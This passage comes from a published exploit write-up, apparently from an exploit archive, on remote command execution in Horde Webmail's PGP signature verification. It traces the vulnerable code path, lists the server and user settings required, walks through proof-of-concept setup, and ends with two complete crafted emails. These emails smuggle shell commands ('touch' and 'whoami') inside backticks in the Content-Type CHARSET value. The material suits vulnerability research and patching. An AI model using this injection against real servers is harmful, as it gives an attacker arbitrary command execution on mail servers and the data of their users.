*/ }\r\n/* 347 */ }\r\n/* 349 */ if (!isset($keyid)) {\r\n/* 350 */ $keyid = $this->getSignersKeyID($text);\r\n/* 351 */ }\r\n/* 353 */ /* Get key ID of key. */\r\n/* 354 */ $public_key = $this->getPublicKey($address, array('keyid' => $keyid));\r\n/* 356 */ if (empty($signature)) {\r\n/* 357 */ $options = array('type' => 'signature');\r\n/* 358 */ } else {\r\n/* 359 */ $options = array('type' => 'detached-signature', 'signature'\r\n=> $signature);\r\n/* 360 */ }\r\n/* 361 */ $options['pubkey'] = $public_key;\r\n/* 363 */ if (!empty($charset)) {\r\n/* 364 */ $options['charset'] = $charset;\r\n/* 365 */ }\r\n/* 369 */ return $this->decrypt($text, $options);\r\n/* 370 */ }\r\n \r\nverifySignature() is called from _outputPGPSigned():\r\n \r\nPath \u2013 /imp/lib/Mime/Viewer/Pgp.php\r\n \r\n/* 387 */ protected function _outputPGPSigned()\r\n/* 388 */ {\r\n/* 389 */ global $conf, $injector, $prefs, $registry, $session;\r\n/* 390 */\r\n/* 391 */ $partlist = array_keys($this->_mimepart->contentTypeMap());\r\n/* 392 */ $base_id = reset($partlist);\r\n/* 393 */ $signed_id = next($partlist);\r\n/* 394 */ $sig_id = Horde_Mime::mimeIdArithmetic($signed_id, 'next');\r\n/* 395 */\r\n/* 396 */ if (!$prefs->getValue('use_pgp') || empty($conf['gnupg']['path'])) {\r\n/* 397 */ return array(\r\n/* 398 */ $sig_id => null\r\n/* 399 */ );\r\n/* 400 */ }\r\n/* ... */\r\n/* 417 */ if ($prefs->getValue('pgp_verify') ||\r\n/* 418 */ $injector->getInstance('Horde_Variables')->pgp_verify_msg) {\r\n/* 419 */ $imp_contents = $this->getConfigParam('imp_contents');\r\n/* 420 */ $sig_part = $imp_contents->getMIMEPart($sig_id);\r\n/* ... */\r\n/* 433 */ try {\r\n/* 434 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp');\r\n/* 435 */ if ($sig_raw =\r\n$sig_part->getMetadata(Horde_Crypt_Pgp_Parse::SIG_RAW)) {\r\n/* 436 */ $sig_result = $imp_pgp->verifySignature($sig_raw,\r\n$this->_getSender()->bare_address, null, $sig_part-\r\n> getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET));\r\n/* ... */\r\n \r\nAnd it is used in _renderInline():\r\n \r\nPath \u2013 /imp/lib/Mime/Viewer/Pgp.php\r\n \r\n/* 134 */ protected function _renderInline()\r\n/* 135 */ {\r\n/* 136 */ $id = $this->_mimepart->getMimeId();\r\n/* 138 */ switch ($this->_mimepart->getType()) {\r\n/* ... */\r\n/* 142 */ case 'multipart/signed':\r\n/* 143 */ return $this->_outputPGPSigned();\r\n \r\nLet\u2019s go back to _outputPGPSigned() method. We can see a few\r\nrequirements before the needed call:\r\n \r\n$conf[\u2018gnupg\u2019][\u2018path\u2019] should be not empty. This value can be edited\r\nonly by admin(if he/she wants to allow users to use GPG feature he/she\r\nneeds to define value for this config).\r\nCurrent user has enabled \u201cuse_pgp\u201d feature in his preferences\r\nCurrent user has enabled \u201cpgp_verify\u201d feature in his preferences\r\nCurrent user has enabled \u201cpgp_verify\u201d feature in his preferences\r\n \r\nAlso we see that our charset value is taken from $sig_part ->\r\ngetMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET)\r\n \r\nOur value will be stored during parsing of PGP parts:\r\n \r\nPath \u2013 /Horde/Crypt/Pgp/Parse.php\r\n \r\n/* 150 */ public function parseToPart($text, $charset = 'UTF-8')\r\n/* 151 */ {\r\n/* 152 */ $parts = $this->parse($text);\r\n/* ... */\r\n/* 162 */ while (list(,$val) = each($parts)) {\r\n/* 163 */ switch ($val['type']) {\r\n/* ... */\r\n/* 200 */ case self::ARMOR_SIGNED_MESSAGE:\r\n/* 201 */ if ((list(,$sig) = each($parts)) &&\r\n/* 202 */ ($sig['type'] == self::ARMOR_SIGNATURE)) {\r\n/* 203 */ $part = new Horde_Mime_Part();\r\n/* 204 */ $part->setType('multipart/signed');\r\n/* 205 */ // TODO: add micalg parameter\r\n/* 206 */ $part->setContentTypeParameter('protocol',\r\n'application/pgp-signature');\r\n/* 207 */\r\n/* 208 */ $part1 = new Horde_Mime_Part();\r\n/* 209 */ $part1->setType('text/plain');\r\n/* 210 */ $part1->setCharset($charset);\r\n/* 211 */\r\n/* 212 */ $part1_data = implode(\"\\n\", $val['data']);\r\n/* 213 */ $part1->setContents(substr($part1_data, strpos($part1_data,\r\n\"\\n\\n\") + 2));\r\n/* 214 */\r\n/* 215 */ $part2 = new Horde_Mime_Part();\r\n/* 216 */\r\n/* 217 */ $part2->setType('application/pgp-signature');\r\n/* 218 */ $part2->setContents(implode(\"\\n\", $sig['data']));\r\n/* 219 */\r\n/* 220 */ $part2->setMetadata(self::SIG_CHARSET, $charset);\r\n/* 221 */ $part2->setMetadata(self::SIG_RAW, implode(\"\\n\",\r\n$val['data']) . \"\\n\" . implode(\"\\n\", $sig['data']));\r\n/* 222 */\r\n/* 223 */ $part->addPart($part1);\r\n/* 224 */ $part->addPart($part2);\r\n/* 225 */ $new_part->addPart($part);\r\n/* 226 */\r\n/* 227 */ next($parts);\r\n/* 228 */ }\r\n/* 229 */ }\r\n/* 230 */ }\r\n/* 231 */\r\n/* 232 */ return $new_part;\r\n/* 233 */ }\r\n \r\nIt is called from _parsePGP():\r\n \r\nPath \u2013 /imp/lib/Mime/Viewer/Plain.php\r\n \r\n\u00d7\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n/* 239 */ protected function _parsePGP()\r\n/* 240 */ {\r\n/* 241 */ $part =\r\n$GLOBALS['injector']->getInstance('Horde_Crypt_Pgp_Parse')->parseToPart(\r\n/* 242 */ new Horde_Stream_Existing(array(\r\n/* 243 */ 'stream' => $this->_mimepart->getContents(array('stream' => true))\r\n/* 244 */ )),\r\n/* 245 */ $this->_mimepart->getCharset()\r\n/* 246 */ );\r\n \r\nOur charset value is taken from CHARSET attribute of Content-Type\r\nheader of parent MIMEpart.\r\n \r\n_parsePGP() is used in _getEmbeddedMimeParts() method and from Horde\r\nWebmail ver 5.2.0 it looks like:\r\n \r\nPath \u2013 /imp/lib/Mime/Viewer/Plain.php\r\n \r\n/* 222 */ protected function _getEmbeddedMimeParts()\r\n/* 223 */ {\r\n/* 224 */ $ret = $this->getConfigParam('pgp_inline')\r\n/* 225 */ ? $this->_parsePGP()\r\n/* 226 */ : null;\r\n \r\nWe can see an additional requirement \u2013 our function will be called\r\nonly if \u2018pgp_inline\u2018 config parameter is \u201ctrue\u201d. It is defined in:\r\n \r\nPath \u2013 /imp/config/mime_drivers.php\r\n \r\n/* 37 */ /* Scans the text for inline PGP data. If true, will strip this data\r\n/* 38 */ * out of the output (and, if PGP is active, will display the\r\n/* 39 */ * results of the PGP action). */\r\n/* 40 */ 'pgp_inline' => false\r\n \r\nDefault value is false, so the major part of Horde servers is not\r\nvulnerable and our attack is relevant only if an admin manually has\r\nchanged this line to \u2018pgp_inline\u2018 => true.\r\n \r\nBut in older versions (before 5.2.0) the code of\r\n_getEmbeddedMimeParts() is a bit different:\r\n \r\nPath \u2013 /imp/lib/Mime/Viewer/Plain.php\r\n \r\n/* 227 */ protected function _getEmbeddedMimeParts()\r\n/* 228 */ {\r\n/* 229 */ $ret = null;\r\n/* 230 */\r\n/* 231 */ if (!empty($GLOBALS['conf']['gnupg']['path']) &&\r\n/* 232 */ $GLOBALS['prefs']->getValue('pgp_scan_body')) {\r\n/* 233 */ $ret = $this->_parsePGP();\r\n/* 234 */ }\r\n \r\nSo instead of requirement to have config parameter we have requirement\r\nof \u2018pgp_scan_body\u2018 Preference of current user. And it is more likely\r\nto find a victim with needed preferences. We saw where our injected\r\ncommand is executed and from where and when it is taken\r\n \r\nDuring rendering of massage we:\r\n \r\nWill parse PGP values:\r\n \r\n#0 IMP_Mime_Viewer_Plain->_parsePGP() called at\r\n[/imp/lib/Mime/Viewer/Plain.php:225]\r\n#1 IMP_Mime_Viewer_Plain->_getEmbeddedMimeParts() called at\r\n[/Horde/Mime/Viewer/Base.php:298]\r\n#2 Horde_Mime_Viewer_Base->getEmbeddedMimeParts() called at\r\n[/imp/lib/Contents.php:1114]\r\n#3 IMP_Contents->_buildMessage() called at [/imp/lib/Contents.php:1186]\r\n#4 IMP_Contents->getContentTypeMap() called at [/imp/lib/Contents.php:1423]\r\n#5 IMP_Contents->getInlineOutput() called at\r\n[/imp/lib/Ajax/Application/ShowMessage.php:296]\r\n \r\nWill use them in:\r\n \r\n#0 IMP_Mime_Viewer_Plain->_parsePGP() called at\r\n[/imp/lib/Mime/Viewer/Plain.php:225]\r\n#0 IMP_Mime_Viewer_Pgp->_renderInline() called at\r\n[/Horde/Mime/Viewer/Base.php:156]\r\n#1 Horde_Mime_Viewer_Base->render() called at [/Horde/Mime/Viewer/Base.php:207]\r\n#2 Horde_Mime_Viewer_Base->_renderInline() called at\r\n[/Horde/Mime/Viewer/Base.php:156]\r\n#3 Horde_Mime_Viewer_Base->render() called at [/imp/lib/Contents.php:654]\r\n#4 IMP_Contents->renderMIMEPart() called at [/imp/lib/Contents.php:1462]\r\n#5 IMP_Contents->getInlineOutput() called at\r\n[/imp/lib/Ajax/Application/ShowMessage.php:296]]\r\n \r\nIn conclusions:\r\n \r\nIf Horde server has vulnerable configuration:\r\n \r\nEnabled \u201cGnuPG feature\u201d (there is path to gpg binary in\r\n$conf[gnupg][path] setting)\r\nOnly for ver 5.2.0 and newer: \u2018pgp_inline\u2019 => true, in\r\n/imp/config/mime_drivers.php\r\n \r\nAnd the victim has checked the next checkbox in his/her preferences (\r\n\u201cPGP Configure PGP encryption support.\u201d in Prefferences->Mail) :\r\n \r\n\u201cEnable PGP functionality\u201d\r\n\u201cShould PGP signed messages be automatically verified when viewed?\u201d if\r\nit is not checked our command will be executed when the victim clicks\r\non the link \u201cClick HERE to verify the message.\u201d\r\nFor versions before 5.2.0: \u201cShould the body of plaintext message be\r\nscanned for PGP data\u201d\r\n \r\nAn attacker can create email with PGP data, put desired command into\r\nCHARSET attribute of ContentType header, and this command will be\r\nexecuted on Horde server when the victim opens this email.\r\n \r\nProof of Concept \u2013 Remote Code Execution\r\n \r\nFor Proof of Concept we can use preconfigured image of Horde server\r\nfrom Bitnami (Bitnami \u2013 \u201cEasy to use cloud images, containers, and VMs\r\nthat work on any platform\u201d):\r\n \r\nhttps://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova\r\n \r\nStep 1 \u2013 Login as admin (by default user:bitnami) and go to\r\nAdministration -> Configuration and choose Horde (horde). Open GnuPG\r\ntab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click\r\n\u201cGenerate Horde Configuration\u201c:\r\n \r\nNow we have enabled GPG feature on our server and we can login as\r\nregular user and try to execute desired commands. But Bitnami image\r\ndoes not have installed and configured Mail server so we need to use\r\nexternal one or install it on local machine.\r\n \r\nWe will use gmail account (to be able to login to it from Horde I had\r\nto change Gmail account setting Allow less secure apps: ON).\r\n \r\nTo use external Mail server we need to change the next setting:\r\n\u201cAdministrator Panel\u201d -> \u201cConfiguration\u201d -> \u201cHorde\u201d ->\r\n\u201cAuthentication\u201d\r\n \r\nConfigure the application authentication ($conf[auth][driver]) \u2013\r\nchange this option to \u201cLet a Horde application handle authentication\u201d\r\nand click \u201cGenerate Horde Configuration\u201d.\r\n \r\nIf we have Horde Webmail ver 5.2.0 or newer we need to edit\r\n/imp/config/mime_drivers.php file. Login to the console of bitnami\r\nimage (default bitnami:bitnami) and run the next command:\r\n \r\nsudo nano /opt/bitnami/apps/horde/htdocs/imp/config/mime_drivers.php\r\n \r\nChange the line: \u201c\u2018pgp_inline\u2019 => false\u201d to \u201c\u2018pgp_inline\u2019 => true\u201d and\r\nsave the changes.\r\n \r\nStep 2 \u2013 Logout and login with your gmail account.\r\n \r\nStep 3 \u2013 Go to Preferences -> Mail and click on PGP link:\r\n \r\nCheck Enable PGP functionality checkbox and click \u201cSave\u201d\r\nCheck Should PGP signed messages be automatically verified when viewed checkbox\r\nFor versions before 5.2.0 check \u201cShould the body of plain-text message\r\nbe scanned for PGP data\u201d checkbox Click \u201cSave\u201d\r\n \r\nFor version before 5.2.0:\r\n \r\nStep 4 \u2013 Go to the Mail, take any mail folder (for example Drafts),\r\nand chose \u201cImport\u201d item from context menu and import attack_whoami.eml\r\nfile (in the end of this blog).\r\n \r\nClick on the imported email:\r\n \r\nOur Horde serve is launched under daemon user\r\n \r\nStep 5 \u2013 We can do the same with attack_touch.eml (in the end of this\r\nblog) file (import it and click on the new mail) and check /tmp\r\nfolder:\r\n \r\nattack_touch.eml\r\n \r\nDate: Fri, 04 Nov 2016 16:04:19 +0000\r\nMessage-ID: <[email\u00a0protected]>\r\nFrom: Donald Trump <[email\u00a0protected]>\r\nTo: [email\u00a0protected]\r\nSubject: PGP_INLine_touch_tmp_youarevuln\r\nX-IMP-Draft: Yes\r\nContent-Type: text/plain; CHARSET=\"US-ASCII`touch /tmp/youarevuln`\";\r\nformat=flowed; DelSp=Yes\r\nMIME-Version: 1.0\r\nContent-Disposition: inline\r\n \r\n \r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n \r\nThis is a sample of a clear signed message.\r\n \r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: 2.6.2\r\n \r\niQCVAwUBMoSCcM4T3nOFCCzVAQF4aAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF\r\nU5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh\r\nDztuhjzJMEzwtm8KTKBnF/LJ9X05pSQUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz\r\nCvynscaD+wA=\r\n=Xb9n\r\n-----END PGP SIGNATURE-----\r\n \r\nattack_whoami.eml\r\n \r\nDate: Fri, 04 Nov 2016 16:04:19 +0000\r\nMessage-ID: <[email\u00a0protected]>\r\nFrom: Donald Trump <[email\u00a0protected]>\r\nTo: [email\u00a0protected]\r\nSubject: PGP_INLine_whoami\r\nX-IMP-Draft: Yes\r\nContent-Type: text/plain; CHARSET=US-ASCII`whoami`; format=flowed; DelSp=Yes\r\nMIME-Version: 1.0\r\nContent-Disposition: inline\r\n \r\n \r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n \r\nThis is a sample of a clear signed message.\r\n \r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: 2.6.2\r\n \r\niQCVAwUBMoSCcM4T3nOFCCzVAQFJaAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF\r\nU5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh\r\nDztuhjzJMEzwtm8KTKBnF/LJ9X05pSsUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz\r\nCvynscaD+wA=\r\n=Xb9n\r\n-----END PGP SIGNATURE-----\n\n# 0day.today [2018-04-02] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/27576"}]}